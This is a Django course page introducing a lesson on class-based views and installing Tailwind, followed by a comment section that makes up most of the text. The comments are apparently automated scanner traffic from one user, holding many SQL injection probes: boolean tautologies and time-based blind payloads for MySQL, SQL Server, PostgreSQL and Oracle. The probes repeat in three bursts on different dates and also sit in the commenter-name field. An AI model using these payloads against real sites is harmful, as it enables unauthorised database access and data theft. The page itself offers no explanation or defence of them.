Part five - Class Based Views - Learn Django By Building a CRM

In this part, we will do some refactoring and also rebuild the leads app to use class based views.

In this part of the python django course, I will do some refactoring on the project. I will install Tailwind instead of using it as a CDN, and I will convert the whole lead app to use class based views instead of function based views.

Comments

EFSArCBy | Jul 02, 26 11:41

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

-1 OR 2+47-47-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:43

-1 OR 2+863-863-1=0+0+0+1

EFSArCBy | Jul 02, 26 11:43

-1' OR 2+539-539-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:43

-1' OR 2+433-433-1=0+0+0+1 or 'Hhm4bSeR'='

EFSArCBy | Jul 02, 26 11:43

-1" OR 2+426-426-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:43

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 11:43

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 11:43

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 11:43

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 11:43

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:43

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:43

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:43

555T4v0CshY'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:43

555-1 OR 806=(SELECT 806 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:43

555-1) OR 236=(SELECT 236 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:43

555-1)) OR 401=(SELECT 401 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:43

555SjNQil2k' OR 369=(SELECT 369 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:43

555h3ick6tW') OR 173=(SELECT 173 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:43

555OVckPZLU')) OR 299=(SELECT 299 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:43

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 11:43

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555'"

EFSArCBy | Jul 02, 26 11:43

@@zlqvb

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

-1 OR 2+422-422-1=0+0+0+1 -- | Jul 02, 26 11:43

555

-1 OR 2+193-193-1=0+0+0+1 | Jul 02, 26 11:43

555

-1' OR 2+321-321-1=0+0+0+1 -- | Jul 02, 26 11:43

555

-1' OR 2+997-997-1=0+0+0+1 or 'IxPcAIw5'=' | Jul 02, 26 11:43

555

-1" OR 2+809-809-1=0+0+0+1 -- | Jul 02, 26 11:43

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 11:43

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 11:43

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 11:43

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 11:43

555

EFSArCByGPXag2zo'; waitfor delay '0:0:15' -- | Jul 02, 26 11:43

555

EFSArCByWls4LEpi' OR 997=(SELECT 997 FROM PG_SLEEP(15))-- | Jul 02, 26 11:43

555

EFSArCByUFpZjo9x') OR 671=(SELECT 671 FROM PG_SLEEP(15))-- | Jul 02, 26 11:43

555

EFSArCBy2wp8tQPX')) OR 784=(SELECT 784 FROM PG_SLEEP(15))-- | Jul 02, 26 11:43

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy'" | Jul 02, 26 11:43

555

@@duHL2 | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 21, 26 12:37

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

-1 OR 2+11-11-1=0+0+0+1 --

EFSArCBy | Jul 21, 26 12:38

-1 OR 2+315-315-1=0+0+0+1

EFSArCBy | Jul 21, 26 12:38

-1' OR 2+747-747-1=0+0+0+1 --

EFSArCBy | Jul 21, 26 12:38

-1' OR 2+638-638-1=0+0+0+1 or '5oNg2VAX'='

EFSArCBy | Jul 21, 26 12:38

-1" OR 2+487-487-1=0+0+0+1 --

EFSArCBy | Jul 21, 26 12:38

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 21, 26 12:38

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 21, 26 12:38

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 21, 26 12:38

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 21, 26 12:38

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 21, 26 12:38

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 21, 26 12:38

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 21, 26 12:38

555etLU4iqs'; waitfor delay '0:0:15' --

EFSArCBy | Jul 21, 26 12:38

555-1 OR 501=(SELECT 501 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:38

555-1) OR 505=(SELECT 505 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:38

555-1)) OR 52=(SELECT 52 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:38

555v14ytkKP' OR 86=(SELECT 86 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:38

555StQwGR3L') OR 860=(SELECT 860 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:38

555KJpH2bvl')) OR 866=(SELECT 866 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:38

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 21, 26 12:38

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555'"

EFSArCBy | Jul 21, 26 12:38

@@savaY

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

-1 OR 2+160-160-1=0+0+0+1 -- | Jul 21, 26 12:38

555

-1 OR 2+91-91-1=0+0+0+1 | Jul 21, 26 12:38

555

-1' OR 2+170-170-1=0+0+0+1 -- | Jul 21, 26 12:38

555

-1' OR 2+923-923-1=0+0+0+1 or '4PdNhlqp'=' | Jul 21, 26 12:38

555

-1" OR 2+839-839-1=0+0+0+1 -- | Jul 21, 26 12:38

555

if(now()=sysdate(),sleep(15),0) | Jul 21, 26 12:38

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 21, 26 12:38

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 21, 26 12:38

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 21, 26 12:38

555

EFSArCByg9PuCWH0'; waitfor delay '0:0:15' -- | Jul 21, 26 12:38

555

EFSArCByLDgNlYTo' OR 895=(SELECT 895 FROM PG_SLEEP(15))-- | Jul 21, 26 12:38

555

EFSArCByufhKag5Z') OR 123=(SELECT 123 FROM PG_SLEEP(15))-- | Jul 21, 26 12:38

555

EFSArCByi1VKMpxs')) OR 839=(SELECT 839 FROM PG_SLEEP(15))-- | Jul 21, 26 12:38

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy'" | Jul 21, 26 12:38

555

@@W4rSr | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 23, 26 03:33

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

-1 OR 2+172-172-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 03:36

-1 OR 2+632-632-1=0+0+0+1

EFSArCBy | Jul 23, 26 03:36

-1' OR 2+786-786-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 03:36

-1' OR 2+187-187-1=0+0+0+1 or '2vCRvhFy'='

EFSArCBy | Jul 23, 26 03:36

-1" OR 2+203-203-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 03:36

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 23, 26 03:36

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 23, 26 03:36

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 23, 26 03:36

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 23, 26 03:36

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 03:36

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 03:36

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 03:36

555TtMFukts'; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 03:36

555-1 OR 268=(SELECT 268 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:36

555-1) OR 110=(SELECT 110 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:36

555-1)) OR 705=(SELECT 705 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:36

555WxoEOV4n' OR 759=(SELECT 759 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:36

5558dxvkX2m') OR 209=(SELECT 209 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:36

555gdu5NSam')) OR 714=(SELECT 714 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:36

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 23, 26 03:36

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555'"

EFSArCBy | Jul 23, 26 03:36

@@46rPn

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

-1 OR 2+914-914-1=0+0+0+1 -- | Jul 23, 26 03:36

555

-1 OR 2+47-47-1=0+0+0+1 | Jul 23, 26 03:36

555

-1' OR 2+54-54-1=0+0+0+1 -- | Jul 23, 26 03:36

555

-1' OR 2+916-916-1=0+0+0+1 or 'nxGpv4Kf'=' | Jul 23, 26 03:36

555

-1" OR 2+406-406-1=0+0+0+1 -- | Jul 23, 26 03:36

555

if(now()=sysdate(),sleep(15),0) | Jul 23, 26 03:36

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 23, 26 03:36

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 23, 26 03:36

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 23, 26 03:36

555

EFSArCByWal7mN0q'; waitfor delay '0:0:15' -- | Jul 23, 26 03:36

555

EFSArCByKF87yJw6' OR 614=(SELECT 614 FROM PG_SLEEP(15))-- | Jul 23, 26 03:36

555

EFSArCByQp1PlaKr') OR 340=(SELECT 340 FROM PG_SLEEP(15))-- | Jul 23, 26 03:36

555

EFSArCByxxLxYgoo')) OR 511=(SELECT 511 FROM PG_SLEEP(15))-- | Jul 23, 26 03:36

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy'" | Jul 23, 26 03:36

555

@@0PHPr | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.